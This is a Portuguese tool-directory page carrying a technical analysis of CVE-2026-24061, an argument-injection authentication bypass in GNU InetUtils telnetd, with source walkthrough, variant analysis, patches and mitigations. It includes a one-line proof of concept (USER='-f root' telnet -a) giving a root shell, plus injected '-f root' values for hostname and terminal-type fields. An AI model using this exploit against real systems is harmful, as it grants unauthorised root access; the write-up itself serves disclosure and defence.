Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-24061 — Análise técnica aprofundada e scanner para CVE-2026-24061, uma bypass crítica de autenticação no GNU InetUtils telnetd, incluindo cadeia de exploração, PoC e detalhes do patch. | Kitploit
Ferramentas/GitHubGitHub/buzz075/cve-2026-24061
Análise de VulnerabilidadesExploraçãoSegurança de RedeTestes de PenetraçãoAutenticação
GitHubbuzz075/cve-2026-24061

CVE-2026-24061

Análise técnica aprofundada e scanner para CVE-2026-24061, uma bypass crítica de autenticação no GNU InetUtils telnetd, incluindo cadeia de exploração, PoC e detalhes do patch.

Ver Repositório
há 6 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-24061: Bypass de Autenticação no GNU InetUtils telnetd - Análise Técnica Detalhada

Resumo Executivo

A CVE-2026-24061 é uma vulnerabilidade crítica (CVSS 9.8) de bypass de autenticação remota no GNU InetUtils telnetd que permite que atacantes não autenticados obtenham acesso root instantâneo. A vulnerabilidade decorre da sanitização inadequada da variável de ambiente USER, que é passada diretamente para /usr/bin/login como argumento de linha de comando. Ao definir USER=-f root, um atacante aciona a flag -f do login, que ignora completamente a autenticação.

Versões Afetadas: GNU InetUtils 1.9.3 até 2.7 Tipo de Vulnerabilidade: CWE-88 (Injeção de Argumentos) Data da Descoberta: 20 de janeiro de 2026 Descobridor: Kyu Neushwaistein (também conhecido como Carlos Cortes Alvarez)


Parte 1: Análise Técnica Detalhada

O Fluxo do Código Vulnerável

1. Modelo de Invocação do Login (telnetd/telnetd.c, linhas ~49-63)

A vulnerabilidade começa com uma string de modelo de comando que define como o telnetd invoca /usr/bin/login:

root@kitploit:~
/* Template command line for invoking login program. */
char *login_invocation =
#ifdef SOLARIS10
  PATH_LOGIN " -p -h %h %?T{-t %T} -d %L %?u{-u %u}{%U}"
#elif defined SOLARIS
  PATH_LOGIN " -h %h %?T{%T} %?u{-- %u}{%U}"
#else /* !SOLARIS */
  PATH_LOGIN " -p -h %h %?u{-f %u}{%U}"
#endif
;

Observação Principal: Em sistemas não Solaris, o modelo usa:

  • %?u{-f %u}{%U} - Esta é uma expressão condicional que significa:
    • Se user_name estiver definido (%u), use -f %u (login automático autenticado)
    • Caso contrário, use %U (a variável de ambiente USER como fallback)

O problema crítico: %U expande para a variável de ambiente USER bruta, sem sanitização.

2. Função de Expansão de Variáveis (telnetd/utility.c, _var_short_name())

A string do modelo é processada por expand_line(), que chama _var_short_name() para expandir os espaços reservados. Aqui está o código vulnerável:

root@kitploit:~
/* Expand a variable referenced by its short one-symbol name. */
char *
_var_short_name (struct line_expander *exp)
{
  char *q;
  char timebuf[64];
  time_t t;

  switch (*exp->cp++)
    {
    case 'a':
#ifdef AUTHENTICATION
      if (auth_level >= 0 && autologin == AUTH_VALID)
        return xstrdup ("ok");
#endif
      return NULL;

    case 'd':
      time (&t);
      strftime (timebuf, sizeof (timebuf),
                "%l:%M%p on %A, %d %B %Y", localtime (&t));
      return xstrdup (timebuf);

    case 'h':
      return xstrdup (remote_hostname);  // POTENCIALMENTE VULNERÁVEL

    case 'l':
      return xstrdup (local_hostname);

    case 'L':
      return xstrdup (line);

    case 't':
      q = strchr (line + 1, '/');
      if (q)
        q++;
      else
        q = line;
      return xstrdup (q);

    case 'T':
      return terminaltype ? xstrdup (terminaltype) : NULL;  // POTENCIALMENTE VULNERÁVEL

    case 'u':
      return user_name ? xstrdup (user_name) : NULL;

    case 'U':
      return getenv ("USER") ? xstrdup (getenv ("USER")) : xstrdup ("");  // VULNERÁVEL!

    default:
      exp->state = EXP_STATE_ERROR;
      return NULL;
    }
}

O Bug Crítico (caso 'U'): A variável de ambiente USER é obtida via getenv() e passada sem qualquer sanitização. Quando um atacante define USER=-f root, isso se torna parte da linha de comando do login.

3. Função de Início do Login (telnetd/pty.c, start_login())

A string de invocação do login expandida é executada em start_login():

root@kitploit:~
/* Construct login command from template */
argcv_string (argcv_length (argv, NULL), argv, &login_cmd);
  
/* Execute login - this runs: /usr/bin/login -p -h <hostname> -f root */
execv (argv[0], argv);

A Cadeia de Exploração

  1. O atacante se conecta ao telnetd (porta 23)

  2. A negociação de opções Telnet ocorre:

    • O servidor envia IAC DO NEW_ENVIRON
    • O cliente responde com IAC WILL NEW_ENVIRON
    • O servidor envia IAC SB NEW_ENVIRON SEND (solicitando ambiente)
    • O atacante envia: IAC SB NEW_ENVIRON IS VAR "USER" VALUE "-f root" IAC SE
  3. O servidor processa a variável USER:

    • getenv("USER") retorna -f root
    • O modelo %U expande para -f root
    • Comando final: /usr/bin/login -p -h <hostname> -f root
  4. O login interpreta -f root:

    • A flag -f significa "ignorar autenticação, usuário já está pré-autenticado"
    • root é o nome de usuário para fazer login
    • Resultado: Shell root instantâneo sem qualquer solicitação de senha!

Prova de Conceito

root@kitploit:~
# Na máquina do atacante:
USER='-f root' telnet -a <ip_alvo>

A flag -a ativa o modo de login automático, que envia a variável de ambiente USER para o servidor.


Parte 2: Análise de Outras Variáveis Potencialmente Vulneráveis

O aviso de segurança observa explicitamente: "Assim, há potencial para vulnerabilidades semelhantes em outras variáveis." Vamos analisar cada variável em _var_short_name():

Tabela de Análise de Variáveis

VarNomeOrigemControlável pelo Usuário?Sanitizada?Superfície de Ataque
%UVariável de ambiente USERgetenv("USER")SIM (via NEW_ENVIRON)NÃOCRÍTICA - CVE-2026-24061
%hremote_hostnameConsulta DNS/PTRParcial (registro PTR)NÃOALTA
%TterminaltypeOpção TERMINAL-TYPESIMNÃOMÉDIA
%uuser_nameNegociação de protocoloSIMNÃOMÉDIA (requer autenticação)
%llocal_hostnameConfiguração do sistemaNÃON/ABAIXA
%Lline (TTY)Alocada pelo sistemaNÃON/ABAIXA
%tNome curto do TTYAlocada pelo sistemaNÃON/ABAIXA
%ddata/horaRelógio do sistemaNÃON/ANENHUMA
%aStatus de autenticaçãoEstado internoNÃON/ANENHUMA

Análise Detalhada das Variáveis Potencialmente Vulneráveis

1. %h - Nome do Host Remoto (ALTO RISCO)

Origem: Preenchida em telnetd_setup() a partir de telnetd.c via getnameinfo() ou gethostbyaddr().

O Problema: Se um atacante controlar seu registro PTR (DNS reverso), ele poderia potencialmente injetar:

root@kitploit:~
foo -f root

Como seu nome de host, que se tornaria parte do argumento -h:

root@kitploit:~
/usr/bin/login -p -h "foo -f root" ...

Dificuldade de Exploração:

  • Requer controle do DNS reverso
  • Algumas implementações de login podem citar ou validar o nome do host
  • Mais complexo que a injeção via USER

Cenário do Mundo Real: Um atacante com controle do registro PTR de seu IP (comum em provedores de VPS) poderia definir seu DNS reverso para um valor malicioso.

2. %T - Tipo de Terminal (RISCO MÉDIO)

Origem: Recebido via subnegociação Telnet TERMINAL-TYPE, armazenado na variável terminaltype.

O Problema: A string do tipo de terminal é controlada pelo atacante e não sanitizada:

root@kitploit:~
case 'T':
  return terminaltype ? xstrdup (terminaltype) : NULL;

Uso nos Modelos:

  • SOLARIS10: %?T{-t %T} - Usado com a flag -t
  • SOLARIS: %?T{%T} - Inserido diretamente

Ataque Potencial:

root@kitploit:~
TERMINAL-TYPE: xterm -f root

No entanto, a exploração depende de:

  • O modelo usar %T (atualmente apenas Solaris)
  • Como o login lida com o argumento -t

3. %u - Nome de Usuário Autenticado (RISCO MÉDIO)

Origem: Definido durante a negociação de autenticação.

O Problema: Usado no padrão -f %u:

root@kitploit:~
PATH_LOGIN " -p -h %h %?u{-f %u}{%U}"

Se um atacante pudesse manipular user_name para incluir metacaracteres de shell ou argumentos adicionais, ele poderia obter escalonamento de privilégios. No entanto, esta variável normalmente só é definida após alguma forma de validação de autenticação.

Por Que Outras Variáveis São de Menor Risco

  • %l, %L, %t: Derivadas de valores controlados pelo sistema (nome do host local, nomes de dispositivos TTY) que atacantes não podem influenciar remotamente.

  • %d: Gerada a partir do relógio do sistema - sem vetor de injeção.

  • %a: Variável interna de estado de autenticação - retorna literalmente "ok" ou NULL.


Parte 3: Padrões de Bugs Semelhantes para Procurar

Com base nesta vulnerabilidade, aqui estão padrões para pesquisar no código:

Padrão 1: Uso de Variáveis de Ambiente Não Sanitizadas

root@kitploit:~
// PERIGOSO: Uso direto de variáveis de ambiente
getenv("VARIABLE")

Arquivos para verificar:

  • telnetd/utility.c - Outras funções de expansão
  • telnetd/telnetd.c - Tratamento de ambiente
  • rlogind/, rshd/ - Serviços semelhantes

Padrão 2: Expansão de Modelos Sem Validação

root@kitploit:~
// PERIGOSO: Dados do usuário em modelos de comando
sprintf(cmd, "command %s", user_controlled_var);
system(cmd);
execv(argv[0], argv);

Padrão 3: Dados Derivados de DNS em Comandos

root@kitploit:~
// POTENCIALMENTE PERIGOSO: Dados DNS podem ser controlados pelo atacante
getnameinfo(...);  // Consultas PTR
gethostbyaddr(...);
// Depois usar o resultado na construção de comandos

Áreas que Requerem Investigação Adicional

  1. Daemon ftpd: Verificar como a entrada do usuário é tratada na autenticação e no processamento de comandos

  2. Daemons rshd/rlogind: Usam padrões de autenticação semelhantes e podem ter problemas comparáveis com o tratamento de nome de host ou ambiente

  3. Análise da configuração do inetd: Pode processar entrada não confiável ao configurar serviços

  4. Pontos de integração Kerberos: Ao processar nomes de principais ou tokens de autenticação


Parte 4: A Correção

Patch 1: Sanitizar Traços Iniciais (fd702c02)

O primeiro patch adiciona sanitização básica:

root@kitploit:~
case 'U':
  {
    char *u = getenv("USER");
    return (u && *u != '-') ? xstrdup(u) : xstrdup("");
  }

Isso bloqueia valores que começam com -, o que impede a injeção de flags.

Patch 2: Função de Sanitização Generalizada (ccba9f74)

O segundo patch introduz uma função sanitize() reutilizável para todas as entradas controladas pelo usuário:

root@kitploit:~
/* Sanitize user-supplied string to prevent argument injection */
static char *
sanitize (const char *str)
{
  if (str == NULL || *str == '-')
    return xstrdup ("");
  return xstrdup (str);
}

Aplicada a todas as variáveis potencialmente perigosas:

  • %U (USER)
  • %h (remote_hostname)
  • %T (terminaltype)

Conclusões

  1. CVE-2026-24061 é uma vulnerabilidade clássica de injeção de argumentos que passou despercebida por 11 anos devido a:

    • Suposições de protocolo legado
    • Fluxo de código complexo (modelo → expansão → execução)
    • Revisão de segurança insuficiente de variáveis de ambiente "confiáveis"
  2. Vulnerabilidades semelhantes podem existir nas variáveis %h (nome do host) e %T (tipo de terminal), embora a exploração seja mais complexa.

  3. Implicações mais amplas: Qualquer código que construa comandos de shell ou argumentos de programa a partir de dados derivados da rede deve ser auditado para vulnerabilidades de injeção semelhantes.

  4. Mitigações recomendadas:

    • Atualizar para GNU InetUtils 2.8+
    • Desativar o telnetd completamente (usar SSH)
    • Se o telnetd for necessário, restringir a redes confiáveis
    • Usar um programa de login personalizado que ignore a flag -f
Baixar ferramenta